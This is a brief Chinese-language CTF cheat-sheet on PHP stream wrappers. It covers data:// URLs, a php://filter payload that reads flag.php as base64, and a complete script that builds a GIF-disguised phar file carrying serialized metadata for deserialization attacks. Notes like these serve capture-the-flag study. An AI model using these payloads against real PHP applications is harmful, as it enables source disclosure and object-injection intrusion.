data伪协议
使用:
data://text/plain;base64,xxxx(base64编码后的数据
# or
data://text/plain,xxx(数据
作用:用url传输数据文件,效果就是一个文件
PHP协议
常用:
php://filter/read=convert.base64-encode/resource=flag.php
Phar协议
构造:
<?php
class User {
public $db;
}
$user = new User();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
含义:是php文件协议中读取压缩文件的协议
利用点:
该协议会将用户元数据序列化,而很多函数在解析phar协议时,会将其中的元数据反序列化
所以在class有反序列化可以利用的前提下使用
使用方法:phar://xxx.xxx将phar文件用phar协议读取即可
案例:[CTF]WriteUp第23篇